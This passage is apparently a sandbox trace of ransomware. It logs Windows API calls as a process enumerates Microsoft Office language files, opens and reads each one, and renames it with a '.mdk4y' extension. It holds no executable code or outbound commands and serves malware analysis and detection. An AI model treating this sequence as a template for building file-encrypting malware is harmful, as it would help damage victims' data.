nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7c, lpOverlapped=0x0) returned 1 [0201.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827633100000) returned 1 [0201.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827633200000) returned 1 [0201.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css.mdk4y")) returned 1 [0201.104] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.104] AreFileApisANSI () returned 1 [0201.104] GetACP () returned 0x4e4 [0201.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STEEL.CSS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STEEL.CSSS", lpUsedDefaultChar=0x37df4c) returned 9 [0201.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827633500000) returned 1 [0201.105] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0201.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827633700000) returned 1 [0201.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827633700000) returned 1 [0201.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css.mdk4y")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.108] AreFileApisANSI () returned 1 [0201.108] GetACP () returned 0x4e4 [0201.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STSLIST.CHM", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STSLIST.CHMCTORRES.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0201.108] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827633900000) returned 1 [0201.109] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x69d1a, lpOverlapped=0x0) returned 1 [0201.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827637200000) returned 1 [0201.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827637200000) returned 1 [0201.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm.mdk4y")) returned 1 [0201.148] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.148] AreFileApisANSI () returned 1 [0201.148] GetACP () returned 0x4e4 [0201.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STSLISTI.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STSLISTI.DLLTORRES.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0201.148] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827637900000) returned 1 [0201.149] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15990, lpOverlapped=0x0) returned 1 [0201.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827647900000) returned 1 [0201.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827647900000) returned 1 [0201.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.mdk4y")) returned 1 [0201.252] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.252] AreFileApisANSI () returned 1 [0201.252] GetACP () returned 0x4e4 [0201.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUNNY.CSS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SUNNY.CSSDLL", lpUsedDefaultChar=0x37df4c) returned 9 [0201.252] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827648400000) returned 1 [0201.254] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0201.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827648500000) returned 1 [0201.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827648500000) returned 1 [0201.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css.mdk4y")) returned 1 [0201.257] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.257] AreFileApisANSI () returned 1 [0201.257] GetACP () returned 0x4e4 [0201.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUNSET.CSS", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SUNSET.CSSLL", lpUsedDefaultChar=0x37df4c) returned 10 [0201.257] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827648800000) returned 1 [0201.258] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0201.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827654700000) returned 1 [0201.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827654700000) returned 1 [0201.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css.mdk4y")) returned 1 [0201.320] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.320] AreFileApisANSI () returned 1 [0201.320] GetACP () returned 0x4e4 [0201.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TERRCOTT.CSS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TERRCOTT.CSS", lpUsedDefaultChar=0x37df4c) returned 12 [0201.320] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827655200000) returned 1 [0201.322] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0201.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827655300000) returned 1 [0201.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827655300000) returned 1 [0201.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css.mdk4y")) returned 1 [0201.326] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.326] AreFileApisANSI () returned 1 [0201.326] GetACP () returned 0x4e4 [0201.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TIMESOLN.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TIMESOLN.VSL", lpUsedDefaultChar=0x37df4c) returned 12 [0201.326] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827655800000) returned 1 [0201.328] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x44b68, lpOverlapped=0x0) returned 1 [0201.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827657800000) returned 1 [0201.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827657800000) returned 1 [0201.351] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.mdk4y")) returned 1 [0201.353] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.353] AreFileApisANSI () returned 1 [0201.353] GetACP () returned 0x4e4 [0201.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UML.VSL", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="UML.VSLN.VSL", lpUsedDefaultChar=0x37df4c) returned 7 [0201.353] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827658400000) returned 1 [0201.354] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5fd88, lpOverlapped=0x0) returned 1 [0201.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827664900000) returned 1 [0201.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827664900000) returned 1 [0201.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.mdk4y")) returned 1 [0201.425] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.425] AreFileApisANSI () returned 1 [0201.425] GetACP () returned 0x4e4 [0201.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UmOutlookStrings.dll", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="UmOutlookStrings.dllLL", lpUsedDefaultChar=0x37df4c) returned 20 [0201.425] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.425] AreFileApisANSI () returned 1 [0201.425] GetACP () returned 0x4e4 [0201.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VALVE.VRD", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VALVE.VRDStrings.dll", lpUsedDefaultChar=0x37df4c) returned 9 [0201.425] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827665800000) returned 1 [0201.428] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x74c, lpOverlapped=0x0) returned 1 [0201.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827666300000) returned 1 [0201.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827666300000) returned 1 [0201.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.mdk4y")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.434] AreFileApisANSI () returned 1 [0201.434] GetACP () returned 0x4e4 [0201.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISBRRES.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISBRRES.DLLings.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0201.434] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827666600000) returned 1 [0201.436] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9190, lpOverlapped=0x0) returned 1 [0201.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827668900000) returned 1 [0201.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827669000000) returned 1 [0201.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.mdk4y")) returned 1 [0201.462] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.463] AreFileApisANSI () returned 1 [0201.463] GetACP () returned 0x4e4 [0201.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISBRRES.DLL.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISBRRES.DLL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 20 [0201.463] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827669400000) returned 1 [0201.464] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b80, lpOverlapped=0x0) returned 1 [0201.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827670900000) returned 1 [0201.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827670900000) returned 1 [0201.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.mdk4y")) returned 1 [0201.482] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.482] AreFileApisANSI () returned 1 [0201.482] GetACP () returned 0x4e4 [0201.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISCOLOR.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISCOLOR.VSL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0201.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827671300000) returned 1 [0201.483] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa980, lpOverlapped=0x0) returned 1 [0201.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827672200000) returned 1 [0201.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827672200000) returned 1 [0201.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.mdk4y")) returned 1 [0201.494] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.494] AreFileApisANSI () returned 1 [0201.494] GetACP () returned 0x4e4 [0201.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISINTL.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0201.494] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827672500000) returned 1 [0201.496] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb9378, lpOverlapped=0x0) returned 1 [0201.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827676700000) returned 1 [0201.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827676700000) returned 1 [0201.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.mdk4y")) returned 1 [0201.546] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.546] AreFileApisANSI () returned 1 [0201.546] GetACP () returned 0x4e4 [0201.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISINTL.DLL.IDX_DLL", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISINTL.DLL.IDX_DLLL", lpUsedDefaultChar=0x37df4c) returned 19 [0201.546] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827677700000) returned 1 [0201.547] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a980, lpOverlapped=0x0) returned 1 [0201.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827685900000) returned 1 [0201.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827685900000) returned 1 [0201.631] 